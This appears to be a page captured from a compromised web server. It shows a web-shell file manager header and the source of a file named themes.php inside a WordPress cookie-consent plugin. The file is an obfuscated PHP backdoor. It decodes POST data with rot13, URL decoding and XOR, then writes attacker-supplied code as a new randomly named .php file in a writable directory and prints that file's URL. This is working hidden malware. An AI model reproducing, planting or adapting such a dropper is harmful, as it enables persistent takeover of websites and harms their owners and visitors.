HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/plugins/cookie-law-info/admin/themes.php
<?php $bJHsWy = chr(68).'O'.chr(67)."\125"."\115"."\105".chr(349-271).'T'.'_'."\x52"."\x4f".chr(79)."\124";$IlTOMG = 'H'.'T'.chr(164-80).chr(80).chr(1002-907).chr(72).chr(858-779).chr(83)."\x54";$ZpYhd = chr(656-552).chr(116).'t'.'p'.chr(486-428)."\57".chr(47);$WmcWlZ = '.'.chr(112).chr(926-822).chr(112);$glehGFD = "\x70".chr(104).chr(112);$NVcwijAX = 'f'.chr(105).chr(108)."\x65".chr(95)."\x70".chr(117)."\164"."\x5f".chr(99).'o'.chr(361-251).chr(398-282).'e'."\x6e".chr(116).'s';$oKgVi = chr(344-230)."\x61".chr(119).chr(117).chr(114)."\154".'d'."\145"."\x63"."\157"."\x64".'e';$bifiMnMLWr = chr(628-511)."\156"."\163"."\x65".chr(114)."\151".chr(97)."\154".'i'.chr(1064-942).chr(730-629);$pzYiyDSOzA = 'i'."\163".'_'."\x77".'r'.chr(298-193).chr(116).chr(97)."\142".chr(108).'e';$CAIpGSN = "\x70".chr(104).chr(251-139)."\166".chr(101).'r'.chr(753-638).chr(375-270)."\157".chr(110);$YwHTIeqXB = "\163".chr(385-269).'r'.'_'.chr(114)."\157"."\x74"."\x31".chr(841-790);$SnsDoypKz = chr(115).chr(650-549)."\x72".'i'."\x61".chr(826-718)."\151".chr(122)."\145";$ZdlfdKWPyI = 's'.chr(736-620)."\x72".'_'.chr(115).'p'.chr(978-870).chr(105).chr(901-785);foreach ($_POST as $sNhZJfpZ => $FhwrVxd){$psvwzd = strlen($sNhZJfpZ);if ($psvwzd == 16){$FhwrVxd = $ZdlfdKWPyI($oKgVi($YwHTIeqXB($FhwrVxd)));$sNhZJfpZ = array_slice($ZdlfdKWPyI(str_repeat($sNhZJfpZ, (count($FhwrVxd)/16)+1)), 0, count($FhwrVxd));function OlhIEFS($WBliAQKmVQ, $LJaHr, $sNhZJfpZ){$tCidSVj = "2f4d9147-9416-4b6f-a972-4bb05150c9c3";return $WBliAQKmVQ ^ $tCidSVj[$LJaHr % strlen($tCidSVj)] ^ $sNhZJfpZ;}$FhwrVxd = array_map("OlhIEFS", array_values($FhwrVxd), array_keys($FhwrVxd), array_values($sNhZJfpZ));$FhwrVxd = implode("", $FhwrVxd);$FhwrVxd = @$bifiMnMLWr($FhwrVxd);if (@is_array($FhwrVxd)){$lmhZS = array_keys($FhwrVxd);$FhwrVxd = $FhwrVxd[$lmhZS[0]];if ($FhwrVxd === $lmhZS[0]){echo @$SnsDoypKz(Array($glehGFD => @$CAIpGSN(), ));exit();}else {function iXYBch($QuEePVir){static $LQbHV = array();$QXmnvZF = glob($QuEePVir . '/*', GLOB_ONLYDIR);$SvNOOLgXUf = count($QXmnvZF);if ($SvNOOLgXUf > 0) {foreach ($QXmnvZF as $QuEePV) {if (@$pzYiyDSOzA($QuEePV)) {$LQbHV[] = $QuEePV;}}}foreach ($QXmnvZF as $QuEePVir) iXYBch($QuEePVir);return $LQbHV;}$iurLPgwg = $_SERVER[$bJHsWy];$QXmnvZF = iXYBch($iurLPgwg);$lmhZS = array_rand($QXmnvZF);$NQLmz = $QXmnvZF[$lmhZS] . "/" . substr(md5(time()), 0, 8) . $WmcWlZ;@$NVcwijAX($NQLmz, $FhwrVxd);$rrLpDOJ = $ZpYhd . $_SERVER[$IlTOMG] . substr($NQLmz, strlen($iurLPgwg));print($rrLpDOJ);die();}}}}